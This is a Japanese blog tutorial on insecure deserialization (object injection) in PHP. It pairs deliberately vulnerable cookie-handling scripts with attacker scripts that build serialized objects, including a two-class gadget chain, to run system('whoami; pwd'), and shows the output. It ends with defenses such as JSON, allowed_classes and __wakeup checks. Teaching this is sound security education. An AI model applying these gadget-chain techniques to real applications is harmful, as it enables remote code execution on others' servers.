2017年9月25日月曜日

安全でないデシリアライゼーション(Insecure Deserialization)入門

先日のブログ記事にて、Welcartのオブジェクトインジェクション脆弱性について説明しましたが、オブジェクトインジェクションという脆弱性自体の情報源があまりないので、入門記事を書こうと思い立ちました。

(2017/11/22追記)
OWASP Top 10 2017に正式に公開され、そのA7に安全でないデシリアライゼーション (Insecure Deserialization) が入りました。これは、本稿で扱うオブジェクトインジェクションと同内容ですが、OWASPの表記にならい、タイトルを変更しました。

以下、「そんなプログラムあり得るか?」という現実性についてはあまり気にしないで、原理的にオブジェクトインジェクションがどのようなものかについて順を追って説明していきます。以下、PHP言語のケースを題材として具体例を提示しますが、概念自体は他の言語でも通用するものです。

シリアライズとオブジェクトインジェクション

シリアライズとは、構造を持ったデータをバイト列形式に変換することです。PHPではserialize関数その他の方法で行えます。PHPのシリアライズ形式は見た目文字列のように見えますが、nullバイトを含むためバイナリデータとして扱う必要があります。シリアライズ結果を元のオブジェクトに戻すことをデシリアライズといい、PHPではunserialize関数により行えます。これらを模式的に表した図を以下に示します(*1)。


オブジェクトをシリアライズするのは、オブジェクトを伝送したり、保存したりするためです。この際にhiddenパラメータやクッキーを経由すると、シリアライズされたデータを差し替えることができるので、オブジェクトの偽物をつかまされることになります。これがオブジェクトインジェクションです。


脆弱なプログラム(1)


オブジェクトをシリアライズしてクッキー経由で引き渡ししているスクリプトを考えます。まずは、シリアライズしてクッキーにセットする側。ご覧のように、このクラス Foo にはinit()というメソッドがあります。

<?php // setcookie1.php

class Foo {
  public function init() {
    echo "Foo::init() done\n";
  }
}

header('ContentType: text/plain');
$foo = new Foo();
$serialized_foo = serialize($foo);
setcookie('FOO', $serialized_foo);
echo str_replace("\0", '[nul]', $serialized_foo);  // \0 を [nul] に変換して表示
次に、クッキーを受け取る側です。クッキー経由のシリアライズされたオブジェクトをデシリアライズして、メソッドinit()を呼び出しています。
<?php // getcookie1.php

class Foo {
  public function init() {
    echo "Foo::init() done\n";
  }
}

class Bar {
  private $sys;
  public function init() {
    system($this->sys);
    echo "Bar::init() done\n";
  }
  public function __construct($sys) {
    $this->sys = $sys;
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
$result = $foo->init();
しかし、このスクリプトでは、クラスFoo以外にクラスBarも定義されています。偶然なことに、クラスBarにもメソッドinit()があり、このメソッドは、プロパティ $sys を引数として system() 関数を呼び出しています。
このため、このスクリプトに、クラスBarのインスタンスをシリアライズしたクッキーを与えてみます。そのようなクッキーを作るスクリプトを下記に示します。
<?php // setcookie2.php

class Bar {
  private $sys;
  public function init() {
    system($this->sys);
    echo "Bar::init() done\n";
  }
  public function __construct($sys) {
    $this->sys = $sys;
  }
}

header('ContentType: text/plain');
$bar = new Bar('whoami; pwd');
$serialized_bar = serialize($bar);
setcookie('FOO', $serialized_bar);
echo str_replace("\0", '[nul]', $serialized_bar);
これにより、クッキーFOOに、クラスBarのインスタンスがセットされます。この状態で先のスクリプト(getcookie1.php)を実行すると、下記となります。
Bar Object
(
    [sys:Bar:private] => whoami; pwd
)
www-data
/var/www/html
Bar::init() done
Barインスタンスのプロパティに 'whoami; pwd' がセットされているので、init() メソッド実行時に下記が実行されることになります。攻撃の成功です。
system('whoami; pwd');
もっとも分かりやすいオブジェクトインジェクションによる任意コード実行は上記のものですが、流石にこのように都合よく攻撃に使えるクラスがあるケースはレアでしょう。そこで、次にもう少し現実的にものを考えてみます。

脆弱なプログラム(2)

次に検討するのは、共通名のメソッドinit()等はないケースです。この場合でも、オブジェクトが生成された場合暗黙に起動されるメソッドがあります。こちら、厳密には複数あり、新原 雅司さんのブログ記事に詳しいですが、多くの場合デストラクタが問題になると考えてよいでしょう。すなわち、デシリアライズにより生成されたオブジェクトはいずれ「どこからも参照されない状態」になり、このタイミングでデストラクタが呼ばれます。

それでは、下記のスクリプトをサンプルとして、攻撃例を示しましょう。
<?php // getcookie3.php

class Foo {  // 本来使われるはずのクラス
}

class Baz {  // 攻撃に悪用されるクラス
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function __destruct() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
上記のスクリプトは、想定としてはFooクラスのインスタンスをシリアライズして受け渡しするものですが、悪用可能なクラス定義としてBazがあります。Bazクラスは、デストラクタ内で call_user_func_array() 関数を呼び出しており、その引数は、Bazクラスのプロパティとなっています。

このスクリプトを攻撃するためのクッキーは下記で設定可能です。
<?php  // setcookie3.php

class Baz {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function __destruct() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$baz = new Baz('system', ['whoami; pwd']);  // Bazインスタンスに攻撃用のパラメータをセット
$serialized_baz = serialize($baz);
setcookie('FOO', $serialized_baz);
echo str_replace("\0", '[nul]', $serialized_baz), PHP_EOL;

上記により生成したクッキーをセットして、getcookie3.phpを実行すると、実行結果は下記となります。
Baz Object
(
    [func:Baz:private] => system
    [args:Baz:private] => Array
        (
            [0] => whoami; pwd
        )
)
www-data
/
Bazインスタンスのfuncプロパティに 'system'、argsプロパティに ['whoami; pwd'] がセットされているので、下記のcall_user_func_array関数が呼ばれることになります。
call_user_func_array('system', ['whoami; pwd']);
これにより、system('whoami; pwd'); が呼び出されます。

脆弱なプログラム(3)

getcookie3.phpは、絶対にないとも言えないのですが、私自身は見たことがないパターンです。そこで実際にあった例を紹介しましょう。具体的には、下記で紹介したケースです。
これらの例を簡単にすると、以下のスクリプトに集約されます。
<?php  // getcookie4.php

class Foo {
}

class Qux {
  private $func;
  public function __construct($func, $args) {
    $this->func = $func;
  }
  public function __destruct() {
    call_user_func($this->func);
  }
}

class Quux {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function exec() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
オブジェクトインジェクションで直接起動できるクラスQuxのデストラクタは、call_user_func関数が呼ばれてはいますが、関数・メソッドに引数がとれません。phpinfo()関数の呼び出し程度はできますが、あんなことや、こんなこと…はできないわけです。
しかし、もう一つ別のクラスを探して、そのクラスに引数なしのメソッドからcall_user_funcやcall_user_func_array関数が引数ありで呼び出されていれば、2段階でメソッドを呼び出して、攻撃ができます。上記はそのような例になっています。
攻撃コードのセット例は下記のとおりです。
<?php  // setcookie4.php

class Qux {
  private $func;
  public function __construct($func) {
    $this->func = $func;
  }
  public function __destruct() {
    call_user_func($this->func);
  }
}

class Quux {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function exec() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$quux = new Quux('system', ['whoami; pwd']);
$qux  = new Qux([$quux, 'exec']);

$serialized_qux = serialize($qux);
setcookie('FOO', $serialized_qux);
echo str_replace("\0", '[nul]', $serialized_qux), PHP_EOL;
攻撃にあたっては、まずクラス Quux のインスタンスを生成し、funcプロパティに 'system'、argsプロパティに ['whoami; pwd'] をセットします。
次に、Quxクラスのインスタンスを生成し、funcプロパティに、先のQuuxインスタンスと'exec'からなる配列をセットします。
これにより生成されたクッキーをgetcookie4.phpにセットして実行した結果は下記のとおりです。
Qux Object
(
    [func:Qux:private] => Array
        (
            [0] => Quux Object
                (
                    [func:Quux:private] => system
                    [args:Quux:private] => Array
                        (
                            [0] => whoami; pwd
                        )
                )
            [1] => exec
        )
)
www-data
/
これによる任意コマンド実行の手順は次のとおりです。まず、Quxインスタンスのデストラクタが呼ばれ、そこから Quux::execメソッドが引数なしで呼ばれます。Quuxインスタンスには前述のとおり、system('whoami; pwd'); を呼び出すためのプロパティがセットされているため、execメソッドによりこれが実行されます。

その他のケース

このエントリでは、最終的にsystem関数の実行に至る例を示しました。それ以外に、スクリプトをドキュメントルート下に書き込む方法がとれる場合もあります。このような例については、下記を参照下さい。


対策

PHPのオブジェクトインジェクションは、上記のように攻撃は難易度が高いのですが、対策は実は容易です。unserialize関数に外部由来の値を渡さなければよいだけです。言い換えれば、unserialize関数に渡す値は、データベースやセッション変数など安全な情報源に限るべきですし、可能であれば、json_encode / json_decode など、より安全な方法で代替するべきです。JSONであれば、オブジェクトインジェクションによりコードが実行されることはありません。
PHP 7.0からは、unserialize関数の省略可能な第2パラメータとして、$optionsが渡せるようになり、ここからデシリアライズ対象のクラス一覧を指定できるようになりました。以下のように使います。この例では、デシリアライズにより生成されるクラスをFooクラスに限定しています。
$foo = unserialize($_COOKIE['FOO'], ["allowed_classes" => ["Foo"]]);
これにより、unserialize関数は *より安全に* 使用できるようになりますが、しかし、allowed_classesを指定するからと言って、unserialize関数に外部由来の値を指定してはいけません。これは危険過ぎますし、PHPのマニュアルにもそのように明記されています。
警告 allowed_classes の options の値にかかわらず、 ユーザーからの入力をそのまま unserialize() に渡してはいけません。 アンシリアライズの時には、オブジェクトのインスタンス生成やオートローディングなどで コードが実行されることがあり、悪意のあるユーザーがこれを悪用するかもしれないからです。 シリアル化したデータをユーザーに渡す必要がある場合は、安全で標準的なデータ交換フォーマットである JSON などを使うようにしましょう。 json_decode() および json_encode() を利用します。

http://php.net/manual/ja/function.unserialize.php より引用
私もこの警告に同意します。

また、緩和策としてマジックメソッド __wakeup() を活用する方法も考えられます。__wakeup() メソッドが定義されている場合、unserialize()関数でデシリアライズされたオブジェクトに対してこのメソッドが呼び出されます。__wakeup()は、通常はデシリアライズ後のオブジェクトを「使える状態に仕上げる」ためのものですが、逆にシリアライズを想定していないクラスについては、__wakeup()を「デシリアライズされたことの検知」に使えるのではないかと考えました。

具体的には、以下のような__wakeup()メソッドを定義します。
public function __wakeup() {
  trigger_error('このクラス(Qux)はシリアライズでき ません', E_USER_ERROR);
}
プログラムを終了させる目的として、trigger_error()を呼んでいますが、exit()等では終了時にデストラクタが呼ばれてしまうので結局攻撃が成立してしまいます。一方、trigger_errorでE_USER_ERRORを指定した場合は、デストラクタを呼ぶことなく直ちにプログラムが終了するので、緩和策として使えます。

また、デストラクタでは、できるだけ余計なことをしないという実装方針も有効です。
3大CMS(WordPress、Joomla!、Drupal)のソースコードからデストラクタの実装を比較してみると、Joomla!のみが圧倒的にデストラクタで *色々* やっていて、オブジェクトインジェクション攻撃に使えそうですし、実際使えます。この点、WordPressとDrupalのソースに出てくるデストラクタは概ね単純なことしかやっていないので、攻撃には使えなさそうな印象です。

まとめ

オブジェクトインジェクションの入門的な解説を試みました。オブジェクトインジェクションは、一部の著名ソフトの脆弱性として報告されており、Joomla!など大規模な攻撃例もありますが、まだまだ認知が進んでいないと思われます。
本稿によりオブジェクトインジェクションに対する認識が広がればと希望します。

EGセキュアソリューションズ広告

EGセキュアソリューションズ株式会社では、脆弱性の原理に根ざした効果的で効率的なセキュリティ施策をご案内しています。詳しくは以下のページから参照下さい。

サービス案内 | EGセキュアソリューションズ株式会社


*1: この図は「iOS でオブジェクトをシリアライズしてファイルに保存する方法 - A Day In The Life」の図を参考にリライトいたしました。

0 件のコメント:

コメントを投稿

フォロワー

ブログ アーカイブ